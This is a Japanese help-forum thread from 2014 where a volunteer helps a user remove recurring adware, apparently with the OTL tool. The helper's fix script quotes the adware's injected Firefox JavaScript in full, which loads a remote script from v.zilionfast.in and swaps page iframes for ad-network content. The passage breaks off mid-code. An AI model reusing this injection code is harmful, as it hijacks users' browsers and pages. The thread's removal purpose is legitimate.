有効 Extension UatubeAdRemoval 2.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hbffjepgpdgojjpmnjoeifeapnghpmch\2.1_2


Tax

有効 Task Adobe Flash Player Updater Adobe Systems Incorporated C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
有効 Task AppleSoftwareUpdate Apple Inc. D:\ProgramFiles\Apple Software Update\SoftwareUpdate.exe -task
有効 Task GoogleUpdateTaskMachineCore Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task Microsoft Windows XP のサポート終了に関する毎月のお知らせ Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe
有効 Task Microsoft Windows XP のサポート終了のお知らせ ログオン Microsoft Corporation C:\WINDOWS\system32\xp_eos.exe -c
有効 Task RealPlayerRealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealPlayerRealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck
有効 Task RealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck


よろしくお願いします。



よろしくお願いします。

  • wysksun
  • 2014/03/30 (Sun) 17:37:14
返信フォームへ 
復活してますね…
ログを見せてもらったところ、先に処置したはずの下記が復活してますね。
>有効 Extension UatubeAdRemoval 2.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hbffjepgpdgojjpmnjoeifeapnghpmch\2.1_2

しばらく前に他の方のスレでも、同様の異常を見せる事例がありました。
これが妙にしぶとく食い込む性質を持っているようですね。

ではすみませんが、またOTLを最初に使った時の手順でスキャンして、そのログをレスで見せてください。
以下をOTLのウインドウに入力して「Run scan」です。
%SYSTEMDRIVE%\*.exe
CREATERESTOREPOINT

この掲示板で解析して対処したらその処置手順がまた効かなくなる事例が多発してきてます。
やはりアドウェア配布側がこの掲示板を常に監視しながら対策逃れの改変を繰り返していると見るべきでしょうね。
自分ができるのは対症療法でしかないので、日々改ざんされた新しいプログラムが出ると正直厳しいですが、往生際が悪いのが悪代官なのでもう少し悪あがきしてみましょう
  • 悪代官
  • 2014/03/30 (Sun) 18:08:41
返信フォームへ 
OTLのログをメールで返信しました。
ご協力ありがとうございます。

禁止ワードが含まれているので投稿できません。
と赤い字で表記されてOTLのログを投稿できませんでしたので
以前頂いたメールアドレスにＯＴＬのログを返信します。

往生際が悪いのが悪代官なので（笑）

よろしくお願いします。
  • wysksun
  • 2014/03/30 (Sun) 20:56:28
返信フォームへ 
またOTLで処置します
目安箱のログを見せてもらってわかりました。
また大量に入り込んでますね。
ではまたOTLのスクリプトを使って処置します。

先に実行した手順で、以下のスクリプトをOTLに貼り付けて「Run fix」作業してから、そのあとまたOTLのログとともに状態報告をレスください
----------------------------------------
:OTL
FF - prefs.js..extensions.7Af3nsdm.scode: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1){return}}catch(e){};try{if(typeof(localStorage)!='undefined' && window.self.location.hostname.indexOf('youtube')>-1){localStorage.setItem(\"xhxg4sk42hsba\",\"9\")}}catch(e){};var _wlst={lsKey:\"ssjsmn2ja8ddw2a\",get:function(b,a){if(window.self.location.protocol==\"https:\" || 3<b)return a(!1);var d=this.fetch();if(d)return a(parseInt(d));if(1==b){crc=this.hcrc32(window.self.location.hostname.replace(\"www.\",\"\"));try{var c=document.createElement(\"script\");c.type=\"text/javascript\";try{c.async=\"async\"}catch(e){}c.src=\"http://v.zilionfast.in/\"+crc+\"/?t=vrt\";(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(c)}catch(f){}}setTimeout(function(){_wlst.get(++b,a)},180)},fetch:function(){try{if(\"undefined\"!=localStorage)try{return localStorage.getItem(this.lsKey)}catch(b){return 0}else _wlst.getCkie()}catch(a){_wlst.getCkie()}},getCkie:function(){if(0<document.cookie.length&&(c_start=document.cookie.indexOf(this.lsKey+\"=\"),-1!=c_start))return c_start=c_start+this.lsKey.length+1,c_end=document.cookie.indexOf(\";\",c_start),-1==c_end&&(c_end=document.cookie.length),unescape(document.cookie.substring(c_start,c_end))},hcrc32:function(b,a){a||(a=0);var d=0;a^=-1;for(var c=0,e=b.length;c<e;c++)d=(a^b.charCodeAt(c))&255,d=\"0x\"+\"00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\".substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\"na\",location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : ''),vrt:!1,networks_list:[[['cpx_bet_55',3247],['start_me_app_tier3',3],['baba_tb_new',1],['yashi_apx_new',45],['yieldads_rmx',348],['adperium_rmx_new',1],['blutonic_apx',1],['batanga_rmx_new',149],['adnetwork_adnttb',3],['media152_gen',3],['harren_apx_new',50],['velis_apx1',179],['acsencion_apx2',57],['adsuduos_apx1',51],['sonobi_gen',50],['mari_gen4',915],['mari_gen4_2',915],['adstract_newt3_27_3',95],['web3_nontb5',31],['baba_nontb2',95],['saymedia_apx_new',2909],['mari_tb_test',50],['dsnr_dasa_t3_28_3',106],['matomy_adj23',294],['matomy_adj23_2',402]],[['cpx_nontb30_tr',729],['dsnr_strm_19_3',280],['mari_strm17',854],['adstract_strmt3_27_3',211],['web3_strm7',371],['matomy_strm22',3778],['matomy_strm22_2',3777]],[['hulk_porn',10000]]],networks_conf:!1,init:function(){_wlst.get(1,function(b){_zyad.vrt=b;if(!(_zyad.vrt==17 || _zyad.location.indexOf('oM5tuLUV=')>-1|| _zyad.location.indexOf('adk2.co')>-1 ||window.self.location.hostname==\"tr.adsplats.com\"||window.self.location.hostname==\"ib.adnxs.com\"||window.self.location.hostname==\"ads.yahoo.com\"||window.self.location.hostname==\"ads.blutonic.com\"||window.self.location.hostname==\"ads.networkhm.com\"||window.self.location.hostname==\"ace1.acsencion.com\"||window.self.location.hostname==\"ads.sonobi.com\"||window.self.location.hostname==\"www.fresh-cup.org\"||window.self.location.hostname==\"ads.ventivmedia.com\"|| _zyad.location.indexOf('=287609')>-1|| _zyad.location.indexOf('=458516')>-1||_zyad.location.indexOf('PT1311')>-1||_zyad.location.indexOf('1018-1005')>-1||_zyad.location.indexOf('1019-1001')>-1||_zyad.location.indexOf('2136&zid=')>-1))if(_zyad.networks_conf=12==_zyad.vrt?_zyad.networks_list[2]:_zyad.vrt?_zyad.networks_list[1]:!_zyad.getisP()?_zyad.networks_list[0]:!1,_zyad.networks_conf){for(i=0;5>i;i++)setTimeout(_zyad.find,500*i);window.self==window.top&&1==Math.floor(7*Math.random()+1)&&setTimeout(function(){_zyad.find(1)},6E4)}})},getisD:function(){return-1<_zyad.title.indexOf(\"torrent\")||-1<_zyad.location.indexOf(\"torrent\")},getisNA:function(){return!1},getisP:function(){try{if(12==_zyad.vrt)return!0;if(_zyad.vrt)return!1;var b=document.getElementsByTagName(\"meta\");if(b)for(i=0;i<b.length;i++)try{if(b[i]&&b[i].getAttribute(\"name\")){var a=b[i].getAttribute(\"name\").toLowerCase();if(\"description\"==a||\"keywords\"==a)_zyad.title=_zyad.title+\" \"+b[i].getAttribute(\"content\")}}catch(d){}}catch(c){}b=\"porn sex xxx tits adult lesbian squirt creampie bondage ExSuna mature fisting fuck gangbang orgy gay nude tits tranny blowjob handjob masturbat busty slut joder horny mamada polla cock pussy threesome teens milf bdsm hentai motherless erotic cams petite\".split(\" \");for(i in b)if(-1<_zyad.location.indexOf(b[i])||-1<_zyad.title.indexOf(b[i]))return!0;return!1},epoch:function(){try{var b=new Date;try{return(b.getTime()-b.getMilliseconds())/1E3}catch(a){return parseInt(b.getTime()/1E3)}}catch(d){return 0}},between:function(b,a){return b>=a-7&&b<=a+7},detectRsize:function(b){try{var a=[0,0];try{a=[parseInt(\"number\"==typeof b.width||\"string\"==typeof b.width&&b.width.match(/[0-9]/)?b.width:b.scrollWidth),parseInt(\"number\"==typeof b.height||\"string\"==typeof b.height&&b.height.match(/[0-9]/)?b.height:b.scrollHeight)]}catch(d){}var c=_zyad.between;switch(!0){case c(a[1],600)&&c(a[0],120):return[120,600];case c(a[1],600)&&c(a[0],160):return[160,600];case c(a[1],600)&&c(a[0],300):return[300,600];case c(a[1],125)&&c(a[0],125):return[125,125];case c(a[1],250)&&c(a[0],300):return[300,250];case c(a[1],250)&&c(a[0],250):return[250,250];case c(a[1],250)&&c(a[0],336):return[300,250];case c(a[1],150)&&c(a[0],180):return[180,150];case c(a[1],400)&&c(a[0],600):return[600,400];case c(a[1],60)&&c(a[0],120):return[120,60];case c(a[1],100)&&c(a[0],300):return[300,100];case c(a[1],60)&&c(a[0],234):return[234,60];case c(a[1],60)&&c(a[0],460):return[460,60];case c(a[1],60)&&c(a[0],468):return[468,60];case c(a[1],90)&&c(a[0],728):return[728,90];default:return!1}}catch(e){return!1}},find:function(b){var a=[],d=window.self.document.getElementsByTagName(\"iframe\");for(i=0;i<d.length;i++){if(!b)try{if(d[i].hasAttribute(\"s12334242842936387947\"))continue}catch(c){try{if(d[i].getAttribute(\"s12334242842936387947\"))continue}catch(e){}};try{if(d[i].src.indexOf('=287609')>-1||d[i].src.indexOf('=458516')>-1||d[i].src.indexOf('1018-1005')>-1||d[i].src.indexOf('1019-1001')>-1||d[i].src.indexOf('2136&zid=')>-1||(d[i].getAttribute('name')&&d[i].getAttribute('id')==d[i].getAttribute('name')&&d[i].getAttribute('name').match(/^ap\\d+$/))){try{d[i].setAttribute(\"s12334242842936387947\", \"true\");d[i].setAttribute(\"replaced\", \"true\");}catch(e){};continue;}}catch(e){};(rSize=_zyad.detectRsize(d[i]))&&a.push({size:rSize,ifr:d[i],func:function(a,b){_zyad.setNetwork(a[b].ifr,a[b].size);b++;a&&a[b]&&\"function\"==typeof a[b].func&&setTimeout(function(){a[b].func(a,b)},1)}})}a[0]&&a[0].func&&a[0].func(a,0)},setNetwork:function(b,a){if(a&&b){var d=0,c=0,e=Math.floor(10000*Math.random()+0.9),f=0,h={},g=[];for(i=0;i<_zyad.networks_conf.length;i++){var j=_zyad.networks[_zyad.networks_conf[i][0]](a);j&&(h[i]=j,g.push(i),d+=_zyad.networks_conf[i][1])}10000<d&&(c=Math.floor((10000-d)/g.length+0.9));for(i=0;i<g.length;i++)if(d=g[i],f+=_zyad.networks_conf[i][1]+c,f>=e){h[d](b);break}}},iset:function(ifr, url, mode, properties){try{switch(mode){default:case 1:var channel = 0;try{if(ifr.getAttribute('bow')) channel=1}catch(e){}ifr.src = url + (properties ? (url.indexOf('?')>'-1' ? '&' : '/?') + 'oM5tuLUV=' + properties[0] + '_' + properties[1] + '_' + channel : '');break;case 2:try{ifr.src='about:blank';ifr.contentWindow.document.write('<html><head>\\x3cscript>setTimeout(function(){location.href=\"'+url+'\"},1)\\x3c/script></head><body>&nbsp;\\x3c/body>\\x3c/html>');}catch(e){var h = '<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body><iframe name=\"a7h3h73d3\" src=\"about:blank\" style=\"width:100%;height:100%;border:0\" MARGINWIDTH=\"0\" MARGINHEIGHT=\"0\" frameborder=\"0\" scrolling=\"no\" width=\"100%\" height=\"100%\"></iframe>\\x3cscript>setTimeout(function(){frames[\"a7h3h73d3\"].document.write(\"<\"+\"script>setTimeout(function(){setTimeout(function(){location.href=\\x5c\\\\x27'+url+'\\x5c\\\\x27},1)},1);\"+\"<\"+\"/script>\")},1)\\x3c/script></body></html>';ifr.src='javascript:document.write(\\''+h+'\\');'}break;case 3:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style>\\x3cscript>setTimeout(function(){document.getElementsByTagName(\"body\")[0].innerHTML=\"\\x3cscript src=\"'+url+'\">\\x3c/script>\"},10)\\x3c/script></head><body>&nbsp;</body></html>');break;case 4:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body>'+url+'</body></html>');break;}try{ifr.setAttribute(\"s12334242842936387947\", \"true\");ifr.setAttribute(\"replaced\", \"true\")}catch(e){}}catch(e){}},networks:{cpx_bet_55:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(window.self.location.hostname.indexOf('outube.com')>-1 || size=='120x60' ) {return false;};return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/cmp/1412355/index.html?size='+size+'&referrer=', (atp?atp:1), [354,size]);}}catch(e){return !1;}},start_me_app_tier3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2030270&size='+size+'&cb=&age=&gender=&referrer=&pubclick=', (atp?atp:1), [409,size]);}}catch(e){return !1;}},baba_tb_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var arr={\"728x90\":\"1957852\",\"300x250\":\"1947796\",\"468x60\":\"1957860\",\"120x600\":\"1957857\",\"160x600\":\"1957854\"}[size]; var surl = \"http://ib.adnxs.com/tt?id=\"+arr+\"&referrer=\";return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [423,size]);}}catch(e){return !1;}},yashi_apx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2422901\",\"300x250\":\"2422900\",\"728x90\":\"2422902\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [785,size]);}}catch(e){return !1;}},yieldads_rmx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;var ref = window.top==window.self?encodeURIComponent(window.self.location.href):'';return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=5081932&pub_url='+ref+'', (atp?atp:1), [559,size]);}}catch(e){return !1;}},adperium_rmx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 300x250 468x60 728x90 160x600 300x600 320x50 320x480'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, '//ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=5321079&pub_url=www.ad-maven.com', (atp?atp:1), [561,size]);}}catch(e){return !1;}},blutonic_apx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2196577\",\"300x250\":\"2196579\",\"728x90\":\"2196581\"}[size];var surl='http://ads.blutonic.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]&pubclick=[INSERT_CLICK_TAG]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [577,size]);}}catch(e){return !1;}},batanga_rmx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=4509138&pub_url=${PUB_URL}&section_code=720_0', (atp?atp:1), [601,size]);}}catch(e){return !1;}},adnetwork_adnttb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2242949&size='+size+'&cb=[CACHEBUSTER]&pubclick=[INSERT_CLICK_TAG]', (atp?atp:1), [630,size]);}}catch(e){return !1;}},media152_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&site=1466354&section_code=INSERT_SECTION_CODE_HERE&pub_url=${PUB_URL}&section_code=720_0', (atp?atp:1), [647,size]);}}catch(e){return !1;}},harren_apx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2439986\",\"160x600\":\"2439990\",\"300x250\":\"2439993\",\"468x60\":\"2439994\",\"728x90\":\"2439996\"}[size];var surl='http://ads.networkhm.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [792,size]);}}catch(e){return !1;}},velis_apx1:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2431824\",\"160x600\":\"2431823\",\"300x250\":\"2431822\",\"468x60\":\"2431825\",\"728x90\":\"2431805\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [775,size]);}}catch(e){return !1;}},acsencion_apx2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2410584\",\"300x250\":\"2410603\",\"728x90\":\"2410604\"}[size];var surl='http://ace1.acsencion.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [793,size]);}}catch(e){return !1;}},adsuduos_apx1:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2446682\",\"728x90\":\"2446702\",\"160x600\":\"2446705\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [808,size]);}}catch(e){return !1;}},sonobi_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2445816\",\"300x250\":\"2445810\",\"728x90\":\"2445826\"}[size];var surl='http://ads.sonobi.com/tt?id='+ arr + '&cb=[CACHEBUSTER]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [811,size]);}}catch(e){return !1;}},mari_gen4:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600 120x600 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2449642\",\"300x250\":\"2449644\",\"160x600\":\"2449646\",\"120x600\":\"2449649\",\"468x60\":\"2449651\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [812,size]);}}catch(e){return !1;}},mari_gen4_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 120x600 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2449645\",\"160x600\":\"2449647\",\"120x600\":\"2449650\",\"468x60\":\"2449652\",\"728x90\":\"2449643\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [813,size]);}}catch(e){return !1;}},adstract_newt3_27_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450405&size='+size+'', (atp?atp:1), [815,size]);}}catch(e){return !1;}},web3_nontb5:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450540&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [821,size]);}}catch(e){return !1;}},baba_nontb2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2446828\",\"300x250\":\"2446829\",\"728x90\":\"2446830\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [823,size]);}}catch(e){return !1;}},saymedia_apx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"1957924\",\"300x250\":\"1957917\",\"468x60\":\"1957923\",\"728x90\":\"1957902\"}[size];var surl='http://www.fresh-cup.org/rmx/appnexus.html?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [824,size]);}}catch(e){return !1;}},mari_tb_test:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452812\",\"300x250\":\"2452832\",\"160x600\":\"2452834\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [825,size]);}}catch(e){return !1;}},dsnr_dasa_t3_28_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2453124&size='+size+'&referrer=[REFERRER_URL]', (atp?atp:1), [835,size]);}}catch(e){return !1;}},matomy_adj23:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2452559\",\"160x600\":\"2452576\",\"728x90\":\"2452566\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [833,size]);}}catch(e){return !1;}},matomy_adj23_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 160x600 300x250'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452575\",\"160x600\":\"2452578\",\"300x250\":\"2452564\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [832,size]);}}catch(e){return !1;}},cpx_nontb30_tr:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/tra/32160/index.html?size='+size+'&referrer=', (atp?atp:1), [442,size]);}}catch(e){return !1;}},dsnr_strm_19_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2409171&size='+size+'&referrer=[REFERRER_URL][WIDTH] ', (atp?atp:1), [764,size]);}}catch(e){return 